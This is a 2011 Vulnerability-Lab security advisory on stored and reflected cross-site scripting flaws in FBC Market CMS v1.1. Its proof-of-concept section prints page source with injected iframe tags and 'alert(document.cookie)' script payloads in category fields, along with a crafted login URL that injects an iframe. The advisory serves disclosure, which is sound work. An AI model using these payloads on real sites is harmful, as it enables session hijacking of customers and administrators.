Document Title:
===============
FBC Market CMS v1.1 - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=281
Release Date:
=============
2011-09-21
Vulnerability Laboratory ID (VL-ID):
====================================
281
Product & Service Introduction:
===============================
FBC-Market is a application that allows you to run your own online marketplace or classifieds listing site
similar to Craigslist. It was written in PHP and uses MySQL to for data storage. Additionally, it uses
jQuery for elegant effects and that web 2.0 pizzazz you ve always dreamed of.
The general design is simple and clean which should go well with any site, customization can be done easily
through the CSS file. You can add your header and footer to it or include it in an iframe and you are ready
to roll. And if you want to get your hands dirty in code, the comments will help you know what is going on.
(Copy of the Vendor Homepage: http://www.freeboxclub.com/)
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple persistent Web Vulnerabilities on FreeBoxClubs FBC-Market CMS v1.1 web application.
Vulnerability Disclosure Timeline:
==================================
2011-09-22: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
1.1
Multiple input validation vulnerabilities(persistent) are detected on FreeBoxClubs FBC-Market CMS v1.1 web application.
Attackers can include persistent malicious script codes to manipulate specific customer requests & modules.
The vulnerability allows an attacker also to hijack customer/admin sessions via persistent script code inject.
The vulnerabilities are located on the category add module of the application.
Vulnerable Module(s):
[+] Categories Add/List, newItem & Index
Pictures:
../1.png
../2.png
../3.png
1.2
An client-side input validation vulnerability(non-persistent) is detected on FreeBoxClubs FBC-Market CMS v1.1 web application.
Remote attackers can hijack customer accounts over the login form/mask with medium required user inter action as malicious link.
Vulnerable Module(s):
[+] Login
Pictures:
../1.png
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with high required user inter action or local low privileged user accounts.
For demonstration or reproduce ...
1.1
Module: newItem.php
<div id="header">
<div style="display: inline; float: right;">
<form name="searchForm" action="index.php" method="get"
style="display: inline; float: right;">
Search: <input name="q" size="8" maxlength="40" value="" type="text">
<input name="" value="Go" type="submit">
</form>
</div>
​​​​​<ul>
<li id=""><a href="index.php?a=1">All</a></li>
<li><a href="index.php?category=5">>​​​​​"<iframe src="http://www.vulnerability-lab.com" heigh<="" a="" width="700"></li
>
<li ><a href='index.php?category=6'>>"<iframe src=http://www.vulnerability-lab.com width="900" heigh
</a></li>
<li ><a href='index.php?category=7'>>"<iframe src=http://www.vulnerability-lab.com
width="700" heigh</a></li>
<li ><a href='index.php?category=8'></a></li>
<li ><
a href='index.php?category=9'> s</a></li>
<li ><a href='index.php?category=4'>>"<iframe
src=http://google.com></a></li>
</ul>
</div>
<div id="md_container">
<div id="md
_contentForm">
<br clear="all" />
<div id='newItemForm'>
<form action="controller.php" method="post"
enctype="multipart/form-data" name="form1" id="form1">
<table border="0" cellpadding="8" cellspacing="0">
<tr>
Module: categories.php
<td>​​​​​>"​​​​​<iframe src="http://www.vulnerability-lab.com" heigh<="" td="" width="700">
<td>0</td>
<td><a href='javascript:editCat("5", ">"<iframe src=http://www.vulnerability-lab.com width="700" heigh", "0")
'>Edit</a>
| <a href="javascript:deleteCategory('5','>"<iframe src=http://www.vulnerability-lab.com
width="700" heigh')" style="color:maroon">Delete</a></td>
</tr>
<tr>
<td>
>"<iframe src=http://www.vulnerability-lab.com width="900" heigh</td>
<td>0</td>
<td><
;a href='javascript:editCat("6", ">"<iframe src=http://www.vulnerability-lab.com width="900" heigh", "0")'>Edit</a>
| <a href="javascript:deleteCategory('6','>"<iframe src=http://www.vulnerability-lab.com width="900" heigh')" style="color:
maroon">Delete</a></td>
</tr>
<tr>
<td>>"<iframe src=http://www.vulnerabil
ity-lab.com width="700" heigh</td>
<td>0</td>
<td><a href='javascript:editCat("7", ">"&
lt;iframe src=http://www.vulnerability-lab.com width="700" heigh", "0")'>Edit</a>
| <a href="javascript:
deleteCategory('7','>"<iframe src=http://www.vulnerability-lab.com width="700" heigh')" style="color:maroon">Delete<
/a></td>
</tr>
<tr>
<td>>"<iframe src=http://google.com></td>
<td>1</td>
<td><a href='javascript:editCat("4", ">"<iframe src=http://google.com>", "1")'>
Edit</a>
| <a href="javascript:deleteCategory('4','>"<iframe src=http://google.com>')" style="color:
maroon">Delete</a></td>
</tr>
</table>
</form>
<script language="JavaScript">
Module: index.php
<div id="header">
<div style="display: inline; float: right;">
<form name="searchForm" action="index.php" method="get"
style="display: inline; float: right;">
Search: <input name="q" size="8" maxlength="40" value="" type="text">
<input name="" value="Go" type="submit">
</form>
</div>
​​​​​<ul>
<li id="current"><a href="index.php?a=1&k=12qwaszxx3EEd">
All</a></li>
<li><a href="index.php?category=5&k=12qwaszxx3EEd">>"​​​​​<iframe src="http://www.vulnerability-lab.com"
heigh<="" a="" width="700"></li>
<li ><a href='index.php?category=6&k=12qwaszxx3EEd'>>"<iframe src=
http://www.vulnerability-lab.com width="900" heigh</a></li>
<li ><a href='index.php?category=7&k=12qwaszx
x3EEd'>>"<iframe src=http://www.vulnerability-lab.com width="700" heigh</a></li>
<li ><a href='index.php?category=8&k=12qwaszxx3EEd'></a></li>
<li ><a href='index.php?category=9&k=12qwaszxx3EEd'> s</a
></li>
<li ><a href='index.php?category=10&k=12qwaszxx3EEd'>>"<script>alert(document.cookie)</script
></a></li>
<li ><a href='index.php?category=4&k=12qwaszxx3EEd'>>"<iframe src=http://google.com
></a></li>
<li ><a href='index.php?category=12&k=12qwaszxx3EEd'>>>"<<script>alert
(document.cookie)</script></a></li>
<li ><a href='index.php?category=11&k=12qwaszxx3EEd'>>>"<
<script>alert(document.cookie)</script></a></li>
</ul>
</div>
<div id="md_container">
<
br clear="all" />
<div id='md_listingBox'>
PoC:
../newItem.php
../categories.php
../index.php
1.2
Module: Login
http://xxx.com/fbcmarket/admin/login.php?msg=HALLO%20THIS%20IS%20REM0VE%20YOUR
%20LOGIN%20IS%20NOT%20SECURE%3Cbr%3E%3Cbr%3E%3Ciframe
%20src=http://vulnerability-lab.com%20width=1000%20height=800%3E%3E
Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
The security risk of the client-side login input validation vulnerability is estimated as low(+).
Credits & Authors:
==================
Vulnerability Research Laboratory - WiiHac
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=========================
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